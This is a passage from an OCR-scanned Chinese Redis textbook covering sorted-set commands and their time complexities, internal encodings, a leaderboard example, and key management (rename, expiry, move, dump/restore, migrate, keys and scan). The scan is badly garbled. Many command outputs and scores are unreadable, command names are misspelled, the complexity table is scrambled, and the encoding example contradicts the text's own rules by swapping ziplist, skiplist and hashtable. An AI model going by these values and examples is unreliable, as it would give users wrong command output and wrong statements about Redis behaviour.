scard 命 令 一 样 ，zcard 的 时 间 复 杂 度 为 O (1) 。 





127.0.0.1:6379> zcard user:ranking 
(integer) 5 





(3) 计算 茶 个 成 员 的 分 数 





zscore key member 





tom 的 分 数 为 251， 如 果 成 员 不 存在 则 返回 nil: 





127.0.0.1:6379> zscore user:ranking tom 
Wa 
127.0.0.1:6379> zscore user:ranking test 
(nil) 





(4) 计算 成 员 的 排名 





zrank key member 
zrevrank key member 





zrank 是 从 分 数 从 低 到 高 返回 排名 ，zrevrank 反 之 。 例 如 下 面 操作 中 ，tom 
在 zrank 和 zrevrank 分 别 排 名 第 S 和 第 0 〈 排 名 从 0 开始 计算 ) 。 
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127.0.0.1:6379> zrank user:ranking 七 om 
(integer) 5 

127.0.0.1:6379> zrevrank user:ranking tom 
(integer) 0 





(5) 删除 成 员 





zrem key member [member ...] 








下 面 操作 将 成 员 mike 从 有 序 集合 user: ranking 中 删除 。 





127.0.0.1:6379> zrem user:ranking mike 
(integer) 1 





返回 结果 为 成 功 删 除 的 个 数 。 


(6) 增加 成 员 的 分 数 





zincrby key increment member 





下 面 操作 给 tom 增 加 了 9 分 ， 分 数 变 为 了 260 分 : 





127.0.0.1:6379> zincrby user:ranking 9 七 om 
W260 





(7) 返回 指定 排名 范围 的 成 员 





zrange key start end [withscores] 
zrevrange key start end [withscores] 





有 序 集合 是 按照 分 值 排 名 的 ，zrange 是 从 低 到 高 返回 ，zrevrange 反 之 。 
下 面 代码 返回 排名 最 低 的 是 三 个 成 员 ， 如 果 加 上 withscores 选 项 ， 同 时 会 返 
回 成 员 的 分 数 : 
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| 


127.0.0.1:6379> zrange user:ranking 0 2 withscores 








1) ers 
2) 于 下 要 

3) "fFanky 
4) "200" 

5) "tim" 

6) "220" 
127.0.0.1:6379> zrevrange user:ranking 0 2 withscores 
站 沐 "tom" 

2) "260" 

3 和 
4) DO 

5) "tim" 

6) "220m 





(8) 返回 指定 分 数 范 围 的 成 员 





zrangebyscore key min max [withscores] [limit offset count] 
zrevrangebyscore key max min [withscores] [limit offset count] 








其 中 zrangebyscore 按 照 分 数 从 低 到 高 返回 ，zrevrangebyscore 反 之 。 例 如 
下 面 操作 从 低 到 高 返回 200 到 221 分 的 成 员 ，withscores 选 项 会 同时 返回 每 个 
成 员 的 分 数 。[limit offset countl 选 项 可 以 限制 输出 的 起 始 位 置 和 个 数 : 








127.0.0.1:6379> zrangebyscore user:ranking 200 tinf withscores 





1) "frank" 

2) "200m 

3) "tim" 

4) "220" 

127.0.0.1:6379> zrevrangebyscore user:ranking 221 200 withscores 
np "tim" 

2) "220™ 

3) "frank” 

4) "200m 





同时 min 和 max 还 文 持 开 区 间 《〈 小 括号 ) 和 闭 区 间 《“ 中 括号 ) ，-inf 和 
+inf 分 别 代表 无 限 小 和 无 限 大 : 





127.0.0.1:6379> zrangebyscore user:ranking (200 +inf withscores 


1) "tim" 
2 "220" 
3 Ti 人 将 二 本 站 光 
4) 05 
5) "tom" 
6) "260" 
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(9) 返回 # 


RE 
a 
站 
浸 
Ey 
本 
3 
> 
料 





zcount key min max 





下 面 操 作 返 回 200 到 221 分 的 成 员 的 个 数 : 





127.0.0.1:6379> zcount user:ranking 200 221 
(integer) 2 





(10) 删除 指定 排名 内 的 升序 元 系 





zremrangebyrank key start end 





下 面 操作 删除 第 start 到 第 end 名 的 成 员 : 





127.0.0.1:6379> zremrangebyrank user:ranking 0 2 
(integer) 3 





(11) 删除 指定 分 数 范围 的 成 员 





zremrangebyscore key min max 





下 面 操作 将 250 分 以 上 的 成 员 全 部 删除 ， 返 回 结果 为 成 功 删 除 的 个 数 : 





127.0.0.1:6379> zremrangebyscore user:ranking (250 +inf 
(integer) 2 





2. 集 合 间 的 操作 


将 图 2-25 的 两 个 有 序 集合 导入 到 Redis 中 。 
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Juser:ranking: ] | luser:ranking:2| 
CC 


re FF 


91 mike | mike 
| 200 frank 













martin 


885 





martin 


图 2-25 ”有 序 集合 user: ranking: 1 和 user: ranking: 2 





127.0.0.1:6379> zadd user:ranking:1 1 kris 91 mike 200 frank 220 tim 250 martin 
251 tom 

(integer) 6 

127.0.0.1:6379> zadd user:ranking:2 8 james 77 mike 625 martin 888 七 om 

(integer) 4 





(1) 交集 





zinterstore destination numkeys key [key ...] [weights weight [weight ...]] 
[aggregate sum|lmin|max] 





这 个 命令 参数 较 多 ， 下 面 分 别 进行 说 明 : 


.destination: 交集 计算 结果 保存 到 这 个 键 。 
numkeys: 需要 做 交集 计算 键 的 个 数 。 


key[key...]: 需要 做 交集 计算 的 键 。 
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-weights weight[weight..]: 每 个 键 的 权重 ， 在 做 交集 计算 时 ， 每 个 键 中 
的 每 个 member 会 将 自己 分 数 乘 以 这 个 权重 ， 每 个 键 的 权重 默认 是 1。 


:aggregate sumlminlmax: 计算 成 员 交 集 后 ， 分 值 可 以 按照 um (和 ) 、 
min〈 最 小 值 ) 、max《〈 最 大 值 ) 做 汇总 ， 默 认 值 是 sum。 


下 面 操作 对 user: ranking: 1 和 user: ranking: 2 做 交集 ，weights 和 
aggregate 使 用 了 默认 配置 ， 可 以 看 到 目标 键 user: ranking: 1_inter 2 对 分 值 
做 了 sum 操 作 : 





127.0.0.1:6379> zinterstore user:ranking:1 inter 2 2 user:ranking:1 
user:ranking:2 

(integer) 3 

127.0.0.1:6379> zrange user:ranking:1 inter 2 0 -1 withscores 


1) "mike" 
四 dO8 
3) "mazrtin” 
A 73 
5) "tom" 
6) "1139" 








如 果 想 让 user: ranking: 2 的 权重 变 为 0.5， 并 且 聚 合 效果 使 用 max， 可 以 
执行 如 下 操作 : 





129 0500l:0379> ,Zinterstore, user:ranking:l, inter .2.2 :user ranking:l 
user:ranking:2 weights 1 0.5 aggregate max 

(integer) 3 

127.0.0.1:6379> zrange user:ranking:1 inter 2 0 -1 withscores 








1) "mike" 
2) nol" 
3 i 二 入 
4) L257 
5) "tom" 
6) 于 过 过 仙 于 
(2) 并 集 
zunionstore destination numkeys key [key ...] [weights weight [weight ...]] 


[aggregate sum|lmin|max] 
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该 命令 的 所 有 参数 和 zinterstore 是 一 致 的 ， 只 不 过 是 做 并 集 计 算 ， 例 如 
下 面 操作 是 计算 user: ranking: 1 和 user: ranking: 2 的 并 集 ，weights 和 
aggregate 使 用 了 默认 配置 ， 可 以 看 到 目标 键 user: ranking: 1 union 2 对 分 值 
做 了 sum 操 作 : 





127.0.0.1:6379> zunionstore user:ranking:1 union 2 2 user:ranking:1 
user:ranking:2 

(integer) 7 

127.0.0.1:6379> zrange user:ranking:1 union 2 0 -1 withscores 


A a 
2) A 

3) "james" 
4) Ton 

5) "mike" 
6) "168" 
7) "frank" 
8) T2000 
9) "tim" 
10) "220" 
11) "martin" 
2 87 
3 VEOmY 
ld) M39 





至 此 有 序 集合 的 命令 基本 介绍 完了 ， 表 2-8 是 这 些 命令 的 时 间 复 共度 ， 
开发 人 员 在 使 用 对 应 的 命令 进行 开发 时 ， 不 仅 要 考虑 功能 性 ， 还 要 了 解 相 应 
的 时 间 复 杂 度 ， 防 止 由 于 使 用 不 当 造 成 应 用 方 效 京 下 降 以 及 Redis 阻 窗 。 


表 2-8 ”有 序 集合 命令 的 时 间 复 杂 度 
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公公 
RP 之 


zadd key score member [score member ..。] 


zcard key 
Zs5core key member 


zrank key member 


zrevrank key member 
zrem key member [member ...] 


zincrby key increment member 


zrange key start end [withscores] 


zrevrange key start end [withscores] 


zrangebyscore key min max [withscores] 


zrevrangebyscore key max min [withscores] 


zcount 


zremrangebyrank key start end 


zremrangebyscore key min max 


zinterstore destination numkeys key [key 


zunionstore destination numkeys key [key 
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时 间 复 杂 度 
O(kXlog()), 大 是 添加 成 员 的 个 数 , 7 是 当前 有 序 
集合 成 员 个 数 
O(1) 
0O(1) 


O(log(n)), n 是 当前 有 序 集合 成 员 个 数 


O(k*log(n)), A 
合成 员 个 数 


O(log(n)), n} 


是 删除 成 员 的 个 数 , n 是 当前 有 序 集 


外 当 前 有 序 集合 成 员 个 数 
O(log(n) + 为 , 大 是 要 获取 的 成 员 个 数 , n 是 当前 有 
序 集合 成 员 个 数 


O(log(n) 二 月, 天 是 
序 集合 成 员 个 数 

O(log(n)). n 是 当前 有 序 集合 成 员 个 数 

O(log(n) + 月 , 天 是 要 删除 的 成 员 个 数 , n 是 当前 有 
序 集合 成 员 个 数 

O(log(2) 十 月 , 天 是 
序 集 合成 员 个 数 

O(n*h)+O(m*log(m)), 
员 个 数 , 大 是 有 序 集 台 

O(Nn+O(m*log(mn)), 


m 是 结果 集中 成 员 个 数 


要 获取 的 成 员 个 数 , n 是 当前 有 


:要 删除 的 成 员 个 数 , n 是 当前 有 


n 是 成 员 数 最 小 的 有 序 集合 成 
全 的 个 数 , m 是 结果 集中 成 员 个 数 
n 是 所 有 有 序 集合 成 员 个 数 和 ， 


2.6.2 ”内 部 编码 


有 序 集合 类 型 的 内 部 编码 有 两 种 : 


ziplist〈 压 缩 列 表 ) : 当 有 序 集合 的 元 素 个 数 小 于 zset-max-ziplist- 
entries 配 置 (默认 128 个 ) ， 同 时 每 个 元 素 的 值 都 小 于 zset-max-ziplist-value 配 
置 (默认 64 字 节 ) 时 ，Redis 会 用 ziplist 来 作为 有 序 集合 的 内 部 实现 ，ziplist 
可 以 有 效 减 少 内 存 的 使 用 。 





"skiplist (跳跃 表 )〉 : 当 ziplist 条 件 不 满足 时 ， 有 序 集合 会 使 用 skiplist 作 
为 内 部 实现 ， 因 为 此 时 ziplist 的 读 写 效率 会 下 降 。 


下 面 用 示例 来 说 明 : 


1) 当 元 素 个 数 较 少 且 每 个 元 素 较 小 时 ， 内 部 编码 为 skiplist: 





127.0.0.1:6379> zadqd zsetkey 50 el 60 e2 30 e3 
(integer) 3 

127.0.0.1:6379> object encoding zsetkey 
"EL 








2.1) 当 元 素 个 数 超过 128 个 ， 内 部 编码 变 为 ziplist: 








127.0.0.1:6379> zadd zsetkey 50 el 60 e2 30 e3 12 e4 .. .忽略 ... 84 e129 
(integer) 129 

127.0.0.1:6379> object encoding zsetkey 

下 辣 枯 二 疝 二 主意 起 ” 











2.2) 当 某 个 元 素 大 于 64 字 节 时 ， 内 部 编码 也 会 变 为 hashtable: 





(integer) 1 
127.0.0.1:6379> object encoding zsetkey 
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"skiplist" 


| 
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2.6.3 ”使 用 场景 








有 序 集合 比较 典型 的 使 用 场景 就 是 排行 榜 系 统 。 例 如 视频 网 站 需要 对 用 
户 上 传 的 视频 做 排行 榜 ， 榜 单 的 维度 可 能 是 多 个 方面 的 : 按照 时 间 、 按 照 播 
放 数 量 、 控 照 获 得 的 赞 数 。 本 节 使 用 赞 数 这 个 维度 ， 记 录 每 天 用 户 上 传 视频 
的 排行 榜 。 主 要 需要 实现 以 下 4 个 功能 。 











(1) 添加 用 户 赞 数 


例如 用 户 mike 上 传 了 一 个 视频 ， 并 获得 了 3 个 赞 ， 可 以 使 用 有 序 集合 的 
zadd 和 zincrby 功 能 : 





zadqd user:ranking:2016 03 15 mike 3 





如 有 果 之 后 再 获得 一 个 赞 ， 可 以 使 用 zincrby: 





zincrby user:ranking:2016 03 15 mike 1 





(2) 取消 用 户 赞 数 


由 于 各 种 原因 (例如 用 户 注销 、 用 户 作 次 需要 将 用 户 删 除 ， 此 时 需要 
将 用 户 从 榜 单 中 删除 挥 ， 可 以 使 用 zrem。 例 如 删除 成 员 tom: 





zrem user:ranking:2016 03 15 mike 





(3) 展示 获取 赞 数 最 多 的 十 个 用 户 


此 功能 使 用 zrevrange 命 令 实现 : 
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zrevrangebyrank user:ranking:2016 03 15 0 9 





(4) 展示 用 户 信息 以 及 用 户 分 数 


此 功能 将 用 户 名 作为 键 后 级 ， 将 用 户 信息 保存 在 哈 希 类 型 中 ， 人 至 于 用 户 
的 分 数 和 排名 可 以 使 用 zscore 和 zrank 两 个 功能 : 





hgetall user:info:tom 
zscore user:ranking:2016 03 15 mike 
zrank user:ranking:2016 03 15 mike 
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2.7 键 管 理 


本 节 将 按照 单个 键 、 过 历 键 、 数 据 库 管理 三 个 维度 对 一 些 通用 命令 进行 
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2.7.1 单个 键 管理 





针对 单个 键 的 命令 ， 前 面 几 节 已 经 介绍 过 一 部 分 了 ， 0 del、 
object、existgs 、expire 等 ， 下 面 将 介绍 剩余 的 几 个 重要 命 


1. 键 重 命名 





rename key newkey 








例如 现 有 一 个 键 值 对 ， 键 为 python， 值 为 jedis: 





127.0.0.1:6379> get python 
"jedis" 





下 面 操作 将 键 python 重 命名 为 java: 











127.0.0.1:6379> set python jedis 
OK 
127.0.0.1:6379> rename python java 
OK 
127.0.0.1:6379> get python 
(nil) 
127.0.0.1:6379> get java 
jedis 








如 果 在 rename 之 前 ， 键 java 已 经 存在 ， 那 么 它 的 值 也 将 被 覆盖 ， 如 下 所 














127:0s0.1:63719> Set a b 

OK 

12700.1:06379> Bet CH 

OK 

127.0.0.1:6379> rename ac 
OK 

127.0.0.1:6379> get a 
(nil) 

127.0.0.1:6379> .gét © 

Ty 
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为 了 防止 被 强行 rename，Redis 提 供 了 renamenx 命 令 ， 确 保 只 有 newKey 
不 存在 时 候 才 被 宪 益 ， 例 如 下 面 操作 renamenx 时 ，newkey=python 已 经 存在 ， 
返回 结果 是 0 代表 没有 完成 重 命 名 ， 所 以 键 java 和 和 python 的 值 没 变 : 








127.0.0.1:6379> set java jedis 
127.0.0.1:6379> set python redis-py 


127.0.0.1:6379> renamenx java Python 
(integer) 0 

127.0.0.1:6379> get java 

"jedis" 
127.0.0.1:6379> get python 
"redis-py" 














在 使 用 重 命名 命令 时 ， 有 两 点 需要 注意 : 





由 于 重 命名 键 期 间 会 执行 del 命 令 删 除 旧 的 键 ， 如 采 键 对 应 的 值 比较 
大 ， 会 存在 阻 窗 Redis 的 可 能 性 ， 这 点 不 要 忽视 。 


:如 果 rename 和 renamenx 中 的 key 和 newkey 如 果 是 相同 的 ， 在 Redis3.2 和 之 
前 版 本 返回 结果 略 有 不 同 。 


Redis3.2 中 会 返回 OK: 





127.0.0.1:6379> rename key key 
OK 





Redis3.2 之 前 的 版 本 会 提示 错误 : 





127.0.0.1:6379> rename key key 
(error) ERR source and destination objects are the same 








2. 随 机 返回 一 个 键 
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randomkey 





下 面 示例 中 ， 当 前 数据 库 有 1000 个 键 值 对 ，randomkey 命 令 会 随机 从 中 
挑选 一 个 键 : 





127.0.0.1:6379> dbsize 
1000 

127.0.0.1:6379> randomkey 
"hello"™ 

127.0.0.1:6379> randomkey 
"jedis" 





3. 键 过 期 


2.1 节 简单 介绍 键 过 期 功能 ， 它 可 以 自动 将 珊 有 过 期 时 间 的 键 删除 ， 在 
许多 应 用 场景 都 非常 有 帮助 。 除 了 expire、 了 世 命 令 以 外 ，Redis 还 提供 了 
expireat、pexpire、pexpireat、pt 志 、persist 等 一 系列 命令 ， 下 面 分 别 进行 说 
明 : 


expire key seconds: 键 在 seconds 秒 后 过 期 。 
'expireat key timestamp: 键 在 秒 级 时 间 惟 timestamp 后 过 期 。 


下 面 为 键 hello 设 置 了 10 秒 的 过 期 时 间 ， 然 后 通过 tg 观 察 它 的 过 期 剩余 时 
间 (单位 : 秒 ，， 随 着 时 间 的 推移 ， 也 逐渐 变 小 ， 最 终 变 为 -2: 





127.0.0.1:6379> set hello worild 
OK 

127.0.0.1:6379> expire hello 10 
(integer) 1 

井 还 剩 7 秒 

127.0.0.1:6379> ttl hello 
(integer) 7 


井 还 剩 0 秒 

127.0.0.1:6379> ttl hello 
(integer) 0 
# 返 回 结果 为 -2， 说 明 键 he1l1o 已 经 被 删除 
127.0.0.1:6379> ttl hello 
(integer) -2 
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节 命 令 和 p 世 都 可 以 查询 键 的 剩余 过 期 时 间 ， 但 是 p 世 精度 更 高 可 以 达到 
坚 秒 级 别 ， 有 3 种 返回 值 : 


.大 于 等 于 0 的 整数 : 键 剩余 的 过 期 时 间 〈 世 是 秒 ，ptt 是 毫秒 ) 。 
-1: 键 没 有 设置 过 期 时 间 。 
-2: 键 不 存在 。 


expireat 命 令 可 以 设置 键 的 秒 级 过 期 时 间 惟 ， 例 如 如 果 需 要 将 键 hello 在 
2016-08-0100: 00: 00“〔〈 秒 级 时 间 惟 为 1469980800) 过 期 ， 可 以 执行 如 下 操 
作 : 





127.0.0.1:6379> expireat hello 1469980800 
(integer) 1 





除 此 之 外 ，Redis2.6 版 本 后 提供 了 宇 秒 级 的 过 期 方案 
.pexpire key milliseconds: 键 在 milliseconds 室 秒 后 过 期 。 


.pexpireat key milliseconds-timestamp 键 在 坚 秒 级 时 间 戳 tmestamp 后 过 


但 无 论 是 使 用 过 期 时 间 还 是 时 间 戳 ， 秒 级 还 是 坚 秒 级 ， 在 Redis 内 部 最 
终 使 用 的 都 是 pexpireat。 





在 使 用 Redis 相 关 过 期 命令 时 ， 需 要 注意 以 下 几 点 。 


1) 如 果 expire key 的 键 不 存在 ， 返 回 结果 为 0: 
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127.0.0.1:6379> expire not exist key 30 
(integer) 0 








2) 如 果 过 期 时 间 为 负 值 ， 键 会 立即 被 删除 ， 狂 如 使 用 del 命 令 一 样 : 





127.0.0.1:6379> set hello worild 
OK 

127.0.0.1:6379> expire hello -2 
(integer) 1 

127.0.0.1:6379> get hello 

(nil) 





3) persist 命 令 可 以 将 键 的 过 期 时 间 清 除 : 





127.0.0.1:6379> hset key fl v1 
127.0.0.1:6379> expire key 50 
127.0.0.1:6379> ttl1 key 


127.0.0.1:6379> persist key 








127.0.0.1:6379> ttl1 key 








4) 对 于 字符 串 类 型 键 ， 执 行 set 命 令 会 去 掉 过 期 时 间 ， 这 个 问题 很 容易 
在 开发 中 被 忽视 





如 下 是 Redis 源 码 中 ，set 命 令 的 函数 setKey， 可 以 看 到 最 后 执行 了 
removeExpire (db，key) 函数 去 掉 了 过 期 时 间 





void setKey(redisDb *db, rob]j] *key, obj *Val) ({ 





if (lookupKeyWritel(db,key) == NULL) { 
dbAdd (db, key,val); 
} else { 


dbOverwrite (db, key,val); 





} 

incrRefCount (val); 

/ / ”去 掉 过 期 时 间 

removeExpire (db, key); 
signalModifiedKey (db, key); 








152 


下 面 的 例子 证 实 了 set 会 导致 过 期 时 间 失 效 ， 因 为 世 变 为 -1: 





127.0.0.1:6379> expire hello 50 
(integer) 1 

1270.0.1:6379> ttl hello 
(integer) 46 
127.0.0.1:6379> set hello world 




















OK 
127.0.0.1:6379> ttl1 hello 
(integer) -1 








5) Redis 不 文 持 二 级 数据 结构 《例如 哈 希 、 列 表 ) 内 部 元 系 的 过 期 功 
能 ， 例 如 不 能 对 列表 类 型 的 一 个 元 素 做 过 期 时 间 设 置 。 





6) setex 命 令 作 为 settexpire 的 组 合 ， 不 但 是 原子 执行 ， 同 时 减少 了 一 次 
网 络 通讯 的 时 间 。 


有 关 Redis 键 过 期 的 详细 原理 ，8.2 节 会 深入 剖析 。 


迁移 键 功能 非常 重要 ， 因 为 有 时 候 我 们 只 想 把 部 分 数据 由 一 个 Redis 迁 
移 到 男 一 个 Redis (例如 从 生产 环境 迁移 到 测试 环境 ) ，Redis 发 展 历程 中 提 
供 了 move、dump+restore、migrate 三 组 迁移 键 的 方法 ， 它 们 的 实现 方式 以 及 
使 用 的 场景 不 太 相 同 ， 下 面 分 别 介绍 。 


(1 ) move 





move key db 





如 图 2-26 所 示 ，move 命 令 用 于 在 Redis 内 部 进行 数据 迁移 ，Redis 内 部 可 
以 有 多 个 数据 库 ， 由 于 多 个 数据 库 功 能 后 面 会 进行 介绍 ， 这 里 只 需要 知道 
Redis 内 部 可 以 有 多 个 数据 库 ， 彼 此 在 数据 上 是 相互 隔离 的 ，move key db 就 
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古 把 指定 的 键 从 源 数据 库 移 动 到 目标 数据 库 中 ， 但 笔者 认为 多 数据 库 功 能 不 
建议 在 生产 环境 使 用 ， 所 以 这 个 命令 读者 知道 即 可 。 


Jsouree databasd| 


move kev db 


Jrarger database | 





图 2-26” move 命令 在 Redis 内 部 数据 库 之 间 迁 移 数 据 


(2) dump+restore 





dump key 
restore key ttl1 value 





dump+restore 可 以 实现 在 不 同 的 Redis 实 例 之 间 进 行 数据 迁移 的 功能 ， 整 
个 迁移 的 过 程 分 为 两 步 : 


1) 在 源 Redis 上 ，dump 命 令 会 将 键 值 序列 化 ， 格 式 采 用 的 是 RDB 格 式 。 


2) 在 目标 Redis 上 ，frestore 命 令 将 上 面 序列 化 的 值 进行 复原 ， 其 中 世人 参 
数 代 表 过 期 时 间 ， 如 果 世 =0 代 表 没 有 过 期 时 间 。 


整个 过 程 如 图 2-27 所 示 。 


Ts dump kev 





OO RR Source Redis 





喝 







sstore kev ttl value 


Target Redis 


图 2-27 ”dumptrestore 命 令 在 Redis 实 例 之 间 迁 移 数 据 








有 关 dump+restore 有 两 点 需要 注意 : 第 一 ， 整 个 迁移 过 程 并 非 原子 性 
的 ， 而 是 通过 客户 端 分 步 完 成 的 。 第 二 ， 迁 移 过 程 是 开启 了 两 个 客户 端 连 
接 ， 所 以 dump 的 结果 不 是 在 源 Redis 和 目标 Redis 之 间 进 行 传输 ， 下 面 用 一 个 
例子 演示 完整 过 程 。 


1) 在 源 Redis 上 执行 dump: 





redis-source> set hello world 
OK 
redis-source> dump hello 
"\x00\xO05world\x06\x00\x8f<T\x04%\xfcNQO" 














2) 在 目标 Redis 上 执行 restore: 
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== 


redis-target> get hello 

(nil) 

redis-target> restore hello 0 "\x00\x05world\x06\x00\x8f<T\x04%\xfcNQO" 
OK 

redis-target> get hello 

"world" 








上 面 2 步 对 应 的 盆 代 码 如 下 : 





Redis sourceRedis = new Redis("sourceMachine", 6379); 
Redis targetRedis = new Redis("targetMachine", 6379); 
targetRedis.restore("hello", 0, sourceRedis.dump (key)); 














(3) migrate 





migrate host port key|"" destination-db timeout [copy] [replace] [keys key [key 








migrate 命 令 也 是 用 于 在 Redis 实 例 间 进 行 数据 迁移 的 ， 实 际 上 migrate 命 
令 就 是 将 dump、restore、del 三 个 命令 进行 组 合 ， 从 而 简化 了 操作 流程 。 
migrate 命 令 具 有 原子 性 ， 而 且 从 Redis3.0.6 版 本 以 后 已 经 支持 迁移 多 个 键 的 
功能 ， 有 效 地 提高 了 迁移 效率 ，migrate 在 10.4 节 水 平 扩容 中 起 到 重要 作用 。 








整个 过 程 如 图 2-28 所 示 ， 实 现 过 程 和 dump+restore 基 本 类 似 ， 但 是 有 3 点 
不 太 相 同 : 第 一 ， 整 个 过 程 是 原子 执行 的 ， 不 需要 在 多 个 Redis 实 例 上 开启 
客户 端的 ， 只 需要 在 源 Redis 上 执行 migrate 命 令 即 可 。 第 二 ，migrate 命 令 的 
数据 传输 直接 在 源 Redis 和 目标 Redis 上 完成 的 。 第 三 ， 目 标 Redis 完 成 restore 
后 会 发 送 OK 给 源 Redis， 源 Redis 接 收 后 会 根据 migrate 对 应 的 选项 来 决定 是 否 
在 源 Redis 上 删除 对 应 的 键 。 
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] ) migrate target_ip target_port 
kev destination-db timeout 


一 


5 ) del key 





人 2) send data 
4) OK 


3) restore key tt value 







目标 Redis 


图 2-28 ”migrate 命 令 在 Redis 实 例 之 间 原 子 性 的 迁移 数据 
下 面 对 migrate 的 参数 进行 逐个 说 明 : 
:host: 目标 Redis 的 人 PP 地 址 。 
.port: 目标 Redis 的 端口 。 


-key|"": 在 Redis3.0.6 版 本 之 前 ，migrate 只 支持 迁移 一 个 键 ， 所 以 此 处 是 
要 迁移 的 键 ， 但 Redis3.0.6 版 本 之 后 文 持 迁移 多 个 键 ， 如 果 当 前 需要 迁移 多 
个 键 ， 此 处 为 空 字符 串 ""。 


.destination-db: 目标 Redis 的 数据 库 索 引 ， 例 如 要 迁移 到 0 号 数据 库 ， 这 
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里 厌 写 0。 
:timeout: 迁移 的 超时 时 | 则 (单位 为 毫秒 〉。 
[copy]: 如 果 添 加 此 选项 ， 迁 移 后 并 不 删除 源 键 。 


[replace]: 如 果 添 加 此 选项 ，migrate 不 管 日 标 Redis 是 否 存 在 该 键 都 会 
正常 迁移 进行 数据 窗 盖 。 
[keys key[key..]]: 迁移 多 个 键 ， 例 如 要 迁移 keyl、key2、key3， 此 处 填 


与 “keys keyl key2 key3?”。 


下 面 用 示例 演示 migrate 命 令 ， 为 了 方便 演示 源 Redis 使 用 6379 端 口 ， 目 
标 Redis 使 用 6380 端 口 ， 现 要 将 源 Redis 的 键 hello 迁 移 到 目标 Redis 中 ， 会 分 为 
如 下 几 种 情况 : 


情况 1:， 源 Redis 有 键 hello， 目 标 Redis 没 有 : 





127.0.0.1:6379> migrate 127.0.0.1 6380 hello 0 1000 
OK 





情况 2: 源 Redis 和 目标 Redis 都 有 键 hello: 





127.0.0.1:6379> get hello 
"world" 
127.0.0.1:6380> get hello 
"redis" 

















如 果 migrate 命 令 没 有 加 replace 选 项 会 收 到 错误 提示 ， 如 果 加 了 replace 会 


返回 OK 表明 迁移 成 功 : 





127.0.0.1:6379> migrate 127.0.0.1 6379 hello 0 1000 
(error) ERR Target instance replied with error: BUSYKEY Target key name already 
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127.0.0.1:6379> migrate 127.0.0.1 6379 hello 0 1000 replace 
OK 





情况 3: 源 Redis 没 有 键 hello。 如 下 所 示 ， 此 种 情况 会 收 到 nokey 的 提 





127.0.0.1:6379> migrate 127.0.0.1 6380 hello 0 1000 
NOKEY 











下 面 演示 一 下 Redis3.0.6 版 本 以 后 迁移 多 个 键 的 功能 。 


` 源 Redis 批 量 添加 多 个 键 : 





127.0.0.1:6379> mset keyl valuel key2 value2 key3 value3 
OK 





: 源 Redis 执 行 如 下 命令 完成 多 个 键 的 迁移 : 





127.0.0.1:6379> migrate 127.0.0.1 6380 "" 0 5000 keys keyl key2 key3 
OR 








至 此 有 关 Redis 数 据 迁 移 的 命令 介绍 完了 ， 最 后 使 用 表 2-9 总 结 一 下 
move、dumptrestore、migrate 三 种 迁移 方式 的 异同 点 ， 笔 者 建议 使 用 migrate 
命令 进行 键 值 迁移 。 





表 2-9 move、dump+restore、migrate 三 个 命令 比较 
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2.7.2 ”遍历 键 


Redis 提 供 了 两 个 命令 遇 历 所 有 的 键 ， 分 别 是 keys 和 scan， 本 布 将 对 它们 
介绍 并 简要 分 析 。 


1. 全 量 裔 历 键 





keys pattern 





本 章 开 头 介绍 keys 命 令 的 简单 使 用 ， 实 际 上 keys 命 令 是 文 持 pattern 匹 配 
的 ， 例 如 辐 一 个 空 的 Redis 插 入 4 个 字符 串 类 型 的 键 值 对 。 





127.0.0.1:6379> dbsize 

(integer) 0 

127.0.0.1:6379> mset hello world redis best jedis best hill high 
OK 











如 果 要 获取 所 有 的 键 ， 可 以 使 用 keys pattern 命 令 : 





二 200. ls 6379> keys * 











1 ) “i 

2) "jedis" 
3) “redis” 
4) "hello" 








上 面 为 了 遍历 所 有 的 键 ，pattern 直 接 使 用 星 号 ， 这 是 因为 pattern 使 用 的 
是 glob 风 格 的 通配符 





* 代 表 匹 配 任意 字符 


代表 [匹配 一 个 字符 。 
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: 门 代表 匹配 部 分 字符 ， 例 如 [1，3] 代 表 匹 配 1，3，[1-10] 代 表 匹 配 1 到 10 
的 任意 数字 。 








“x 用 来 做 转 义 ， 例 如 要 匹配 星 号 、 问 号 需要 进行 转 义 。 


下 面 操作 匹配 以 j，r 开 头 ， 紧 跟 edis 字 符 串 的 所 有 键 : 





127.0.0.1:6379> keys [j,rjedis 
1) "jedis" 
2) "redis" 


例如 下 面 操作 会 匹配 到 hello 和 hill 这 两 个 键 : 


127.0.0.1:6379> keys hll* 
1) "hi m 
2 "ne On 

















当 需 要 过 有 历 所 有 键 时 《〈 例 如 检测 过 期 或 末 置 时 间 、 寻 找 大 对 象 等 ) ， 
keys 是 一 个 很 有 帮助 的 命令 ， 例 如 想 删 除 所 有 以 video 字 符 串 开头 的 键 ， 可 以 
执行 如 下 操作 : 


redis-cli keys video* | xargs redis-cli del 





但 是 如 果 考 虑 到 Redis 的 单线 程 架 构 就 不 那么 美妙 了 ， 如 果 Redis 包 含 了 
大 量 的 键 ， 执 行 keys 命 令 很 可 能 会 造成 Redis 阻 塞 ， 所 以 一 般 建议 不 要 在 生 
产 环 境 下 使 用 keys 命 令 。 但 有 时 候 确实 有 遍历 键 的 需求 该 怎么 办 ， 可 以 在 以 
下 三 种 情况 使 用 : 


在 一 个 不 对 外 提供 服务 的 Redis 从 节点 上 执行 ， 这 样 不 会 阻塞 到 客户 站 
的 请 求 ， 但 是 会 影响 到 主 从 复制 ， 有 关 主 从 复制 我 们 将 在 第 6 章 进 行 详细 介 


绍 。 
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如 宁 确 认 键 值 总 数 确实 比较 少 ， 可 以 执行 该 命令 


.使 用 下 面 要 介绍 的 scan 命 令 渐 进 式 的 过 历 所 有 键 ， 可 以 有 效 防止 阻 


六 


2. 渐 进 式 过 历 


Redis 从 2.8 版 本 后 ， 提 供 了 一 个 新 的 命令 scan， 它 能 有 效 的 解决 keys 命 
令 存在 的 问题 。 Wo 执行 时 会 般 历 所 有 键 不 同 ，scan 采 用 渐进 式 壳 历 
的 方式 来 解决 keys 命 令 可 能 带 来 的 阻塞 问题 ， 每 次 scan 命 令 的 时 间 复 杂 度 是 
O (1) ， 但 是 要 真正 实现 keys 的 功能 ， 需 要 执行 多 次 scan。Redis 存 储 键 值 对 
实际 使 用 的 是 hashtable 的 数据 结构 ， 其 简化 模型 如 图 2-29 所 示 。 








scan 0 


000 — es Te mike | 


| 001 es 
:aaa scan O01 

| ()10 | 

一 一 一 一 一 一 一 一 一 scan O11 

| 011 Cea) 


ed 


scan 100 


图 2-29 ”hashtable 示 意图 


那么 每 次 执行 scan， 可 以 想象 成 只 扫描 一 个 字典 中 的 一 部 分 键 ， 直 到 将 
字典 中 的 所 有 键 遍历 完毕 。scan 的 使 用 方法 如 下 : 





scan cursor [match Pattern] [count number] 
